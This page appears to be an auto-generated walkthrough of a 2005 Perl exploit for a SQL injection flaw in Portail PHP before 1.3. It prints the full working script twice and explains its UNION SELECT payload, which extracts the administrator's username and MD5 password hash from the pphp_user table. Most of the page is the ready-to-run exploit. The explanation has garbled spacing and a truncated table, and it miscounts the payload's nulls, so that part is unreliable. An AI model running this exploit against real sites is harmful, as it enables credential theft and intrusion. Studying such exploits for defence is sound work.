Exploiting Portail PHP < 1.3 via SQL Injection

Exploiting Portail PHP < 1.3 via SQL Injection
What this paper is
This paper describes a SQL injection vulnerability in Portail PHP version 1.3 and earlier. The exploit provided aims to extract the administrator's username and their MD5-hashed password from the affected web application.
Simple technical breakdown
The vulnerability lies in how the application handles user input when constructing SQL queries. Specifically, it appears that user-supplied data is directly embedded into SQL statements without proper sanitization. This allows an attacker to inject malicious SQL code, altering the intended query.
In this case, the exploit uses a UNION SELECT statement to combine the results of the original query with data from a different table (pphp_user). This technique is used to retrieve specific columns (US_pwd, US_nom) from the user table, effectively exfiltrating sensitive credentials.
Complete code and payload walkthrough
The provided Perl script automates the exploitation process. Let's break down its components:
#!/usr/bin/perl -w
#
# SQL Injection Exploit for Portail PHP < 1.3
# This exploit show the username of the administrator of the portal and his password crypted in MD5
# Related advisory: http://www.securityfocus.com/archive/1/398728/2005-05-21/2005-05-27/0
# Coded by Alberto Trivero
use LWP::Simple;
print "\n\t=================================\n";
print "\t= Exploit for Portail PHP < 1.3 =\n";
print "\t= Alberto Trivero - codebug.org =\n";
print "\t=================================\n\n";
if(!$ARGV[0] or !($ARGV[0]=~m/http/)) {
print "Usage:\nperl $0 [full_target_path]\n\n";
print "Examples:\nperl $0 http://www.example.com/portailphp/\n";
exit(0);
}
$url=q[index.php?affiche=Liens&id=1%20UNION%20SELECT%20null,null,null,null,null,null,US_pwd,US_nom,null%20FROM%20pphp_user/*];
$page=get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=~m/0000-00-00, 0 \)<\/i> <br><br><br><br><\/td> <\/tr> <tr> <td width='100%'>(.*?)<\/td> <\/tr>/ && print "[+] Username of administrator is: $1\n";
print "[-] Unable to retrieve username\n" if(!$1);
$page=~m/<img border='0' src='\.\/images\/ico_liens\.gif' > <b> <\/b>: (.*?)<\/td>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);
# milw0rm.com [2005-06-06]#!/usr/bin/perl -w: This is the shebang line, indicating the script should be executed with the Perl interpreter. The-wflag enables warnings, which is good practice for debugging.use LWP::Simple;: This line imports theLWP::Simplemodule, which provides functions for fetching web pages.- Print statements for banner: The initial
printstatements display a decorative banner identifying the exploit. - Argument checking:
if(!$ARGV[0] or !($ARGV[0]=~m/http/)): This block checks if a command-line argument is provided (!$ARGV[0]) and if it starts withhttp(!($ARGV[0]=~m/http/)). The script expects the full URL of the target application as the first argument.- If the argument is missing or invalid, it prints usage instructions and examples, then exits.
$url=q[index.php?affiche=Liens&id=1%20UNION%20SELECT%20null,null,null,null,null,null,US_pwd,US_nom,null%20FROM%20pphp_user/*];: This is the core of the exploit. It defines the malicious URL query string.index.php?affiche=Liens&id=1: This is the legitimate part of the URL that the application likely uses to display links.%20UNION%20SELECT%20null,null,null,null,null,null,US_pwd,US_nom,null%20FROM%20pphp_user/*: This is the injected SQL code.UNION SELECT: This SQL operator combines the result set of twoSELECTstatements.null,null,null,null,null,null: These are placeholderNULLvalues. The number ofNULLs is crucial and must match the number of columns in the original query that theUNIONis being appended to. This is a common technique to ensure theUNIONoperation doesn't break the query's structure. The exact number ofnulls here (six) suggests the original query was selecting at least nine columns.US_pwd,US_nom: These are the columns from thepphp_usertable that the attacker wants to retrieve.US_pwdlikely stores the password, andUS_nomlikely stores the username.FROM pphp_user/*: This specifies the table to retrieve data from. The/*at the end is a comment in SQL, used to terminate any remaining part of the original query, preventing syntax errors.
$page=get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";: This line constructs the full target URL by concatenating the base URL provided by the user ($ARGV[0]) with the malicious$urlstring. It then usesLWP::Simple::get()to fetch the content of this URL. If the retrieval fails, it prints an error message and exits.print "[+] Connected to: $ARGV[0]\n";: Informs the user that the connection to the target was successful.- Username extraction:
$page=~m/0000-00-00, 0 \)<\/i> <br><br><br><br><\/td> <\/tr> <tr> <td width='100%'>(.*?)<\/td> <\/tr>/ && print "[+] Username of administrator is: $1\n";: This is a regular expression that attempts to parse the fetched HTML content ($page) to find the administrator's username.- The pattern looks for specific HTML tags and text that likely surround the username in the application's output.
(.*?): This is a capturing group that captures any character (.) zero or more times (*), non-greedily (?). This captured part is expected to be the username.&& print "[+] Username of administrator is: $1\n";: If the pattern matches, it prints the captured username (stored in$1).
print "[-] Unable to retrieve username\n" if(!$1);: If the capturing group$1is empty (meaning the pattern didn't match or didn't capture anything), it prints an error message.
- Password hash extraction:
$page=~m/<img border='0' src='\.\/images\/ico_liens\.gif' > <b> <\/b>: (.*?)<\/td>/ && print "[+] MD5 hash of password is: $1\n";: This is another regular expression to extract the MD5 hash of the administrator's password.- It searches for a specific image tag and surrounding HTML structure, assuming this is where the password hash is displayed.
(.*?): This non-greedy capturing group captures the MD5 hash.&& print "[+] MD5 hash of password is: $1\n";: If a match is found, it prints the captured hash (stored in$1).
print "[-] Unable to retrieve hash of password\n" if(!$1);: If the capturing group$1is empty, it prints an error message indicating the password hash could not be retrieved.
# milw0rm.com [2005-06-06]: A comment indicating the source and publication date of the exploit.
Mapping of code fragments to practical purpose:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl -w
#
# SQL Injection Exploit for Portail PHP < 1.3
# This exploit show the username of the administrator of the portal and his password crypted in MD5
# Related advisory: http://www.securityfocus.com/archive/1/398728/2005-05-21/2005-05-27/0
# Coded by Alberto Trivero
use LWP::Simple;
print "\n\t=================================\n";
print "\t= Exploit for Portail PHP < 1.3 =\n";
print "\t= Alberto Trivero - codebug.org =\n";
print "\t=================================\n\n";
if(!$ARGV[0] or !($ARGV[0]=~m/http/)) {
print "Usage:\nperl $0 [full_target_path]\n\n";
print "Examples:\nperl $0 http://www.example.com/portailphp/\n";
exit(0);
}
$url=q[index.php?affiche=Liens&id=1%20UNION%20SELECT%20null,null,null,null,null,null,US_pwd,US_nom,null%20FROM%20pphp_user/*];
$page=get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=~m/0000-00-00, 0 \)<\/i> <br><br><br><br><\/td> <\/tr> <tr> <td width='100%'>(.*?)<\/td> <\/tr>/ && print "[+] Username of administrator is: $1\n";
print "[-] Unable to retrieve username\n" if(!$1);
$page=~m/<img border='0' src='\.\/images\/ico_liens\.gif' > <b> <\/b>: (.*?)<\/td>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);
# milw0rm.com [2005-06-06]